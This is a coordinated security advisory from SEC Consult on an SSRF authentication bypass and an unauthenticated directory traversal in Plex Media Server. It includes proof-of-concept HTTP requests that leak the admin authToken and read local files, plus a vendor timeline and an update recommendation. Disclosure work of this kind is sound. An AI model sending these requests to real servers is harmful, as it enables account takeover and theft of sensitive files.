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By Date By Thread SEC Consult SA-20140228-1 :: Authentication bypass (SSRF) and local file disclosure in Plex Media Server From: SEC Consult Vulnerability Lab <research () sec-consult com>

Date: Fri, 28 Feb 2014 10:29:43 +0100

SEC Consult Vulnerability Lab Security Advisory < 20140228-1 > ======================================================================= title: Authentication bypass (SSRF) and local file disclosure product: Plex Media Server vulnerable version: <=0.9.9.2.374-aa23a69 fixed version: >=0.9.9.3 impact: Critical homepage: http://www.plex.tv found: 2014-02-06 by: Stefan Viehböck SEC Consult Vulnerability Lab https://www.sec-consult.com ======================================================================= Vendor/product description: ----------------------------- "Plex is a media player system consisting of a player application with a 10-foot user interface and an associated media server. It is available for Mac OS X, Linux, and Microsoft Windows." URL: https://en.wikipedia.org/wiki/Plex_(software) Vulnerability overview/description: ----------------------------------- 1. Authentication bypass / Server Side Request Forgery (SSRF) The Plex Media Server "/system/proxy" functionality fails to properly validate pre-authentication user requests. This allows unauthenticated attackers to make the Plex Media Server execute arbitrary HTTP requests. By requesting content from 127.0.0.1 an attacker can bypass all authentication and execute commands with administrative privileges. 2. Unauthenticated local file disclosure Because of insufficient input validation, arbitrary local files can be disclosed. Files that include passwords and other sensitive information can be accessed. Plex "Remote" servers (thousands of them can be found via Shodan and Google, none of them were accessed) are affected by both vulnerabilities as well. Proof of concept: ----------------- 1. Authentication bypass / Server Side Request Forgery (SSRF) The following GET request bypasses the webserver whitelist. GET /system/proxy HTTP/1.1 Host: <PLEX_WAN_HOST> X-Plex-Url: http://localhost:32400/myplex/account?IRRELEVANT= X-Plex-Url: http://my.plexapp.com/ The last X-Plex-Url header value "http://my.plexapp.com/" is contained in the whitelist (Regex) and passes validation. The request is then processed by the actual request handler in the backend webserver (Python). Here both header values are concatenated using a comma. This way the actual URL that is requested is controlled by the first X-Plex-Url value. By indicating a parameter (called IRRELEVANT) the second X-Plex-Url value is dissolved. This results in the following request (made by Plex Media Server): GET /myplex/account?IRRELEVANT=,http://my.plexapp.com/ HTTP/1.1 Host: localhost:32400 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4 (.NET CLR 3.5.30729) Connection: close Accept: */* Accept-Encoding: gzip The response for this request is passed to the attacker and includes the authToken value ("master token"), which can be used to impersonate legitimate Plex users. Of course other administrative actions can be performed as well. <?xml version="1.0" encoding="UTF-8"?> <MyPlex authToken="<REMOVED>" username="<REMOVED>" mappingState="mapped" mappingError="" mappingErrorMessage="1" signInState="ok" publicAddress="1" publicPort="9415" privateAddress="1" privatePort="32400" subscriptionFeatures="cloudsync,pass,sync" subscriptionActive="1" subscriptionState="Active"> </MyPlex> A video demonstrating this issue has been released by SEC Consult: http://www.youtube.com/watch?v=f99fm4QU9u8 2. Unauthenticated local file disclosure The following requests show different functionality that is vulnerable to directory traversal: GET /manage/..\..\..\..\..\..\..\..\..\..\secret.txt HTTP/1.1 Host: <HOST> GET /web/..\..\..\..\..\..\..\..\..\..\secret.txt HTTP/1.1 Host: <HOST> GET /:/resources/..\..\..\..\..\..\..\..\..\..\secret.txt HTTP/1.1 Host: <HOST> The /manage/ and /web/ handlers can be exploited without prior authentication. This vulnerability was confirmed on Windows. Vulnerable / tested versions: ----------------------------- The vulnerabilities have been verified to exist in Plex Media Server version 0.9.9.2.374-aa23a69. Vendor contact timeline: ------------------------ 2014-02-09: Contacting vendor through elan () plexapp com and requesting encryption keys. 2014-02-10: Vendor provides encryption keys. 2014-02-10: Sending advisory and proof of concept exploit. 2014-02-10: Vendor acknowledges receipt of advisory. 2014-02-17: Requesting status update. 2014-02-17: Vendor provides release timeline. 2014-02-20: Vendor releases fixed version (0.9.9.3). 2014-02-21: Requesting clarification regarding fixed version. 2014-02-21: Vendors provides further information about fixed version and other reported vulnerabilities. 2014-02-28: SEC Consult releases coordinated security advisory. Solution: --------- Update to a more recent version of Plex Media Server (eg. 0.9.9.5). Workaround: ----------- No workaround available. Advisory URL: ------------- https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Vienna - Bangkok - Frankfurt/Main - Montreal - Singapore - Vilnius Headquarter: Mooslackengasse 17, 1190 Vienna, Austria Phone: +43 1 8903043 0 Fax: +43 1 8903043 15 Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult Interested in working with the experts of SEC Consult? Write to career () sec-consult com EOF Stefan Viehböck / @2014 _______________________________________________ Full-Disclosure - We believe in it. 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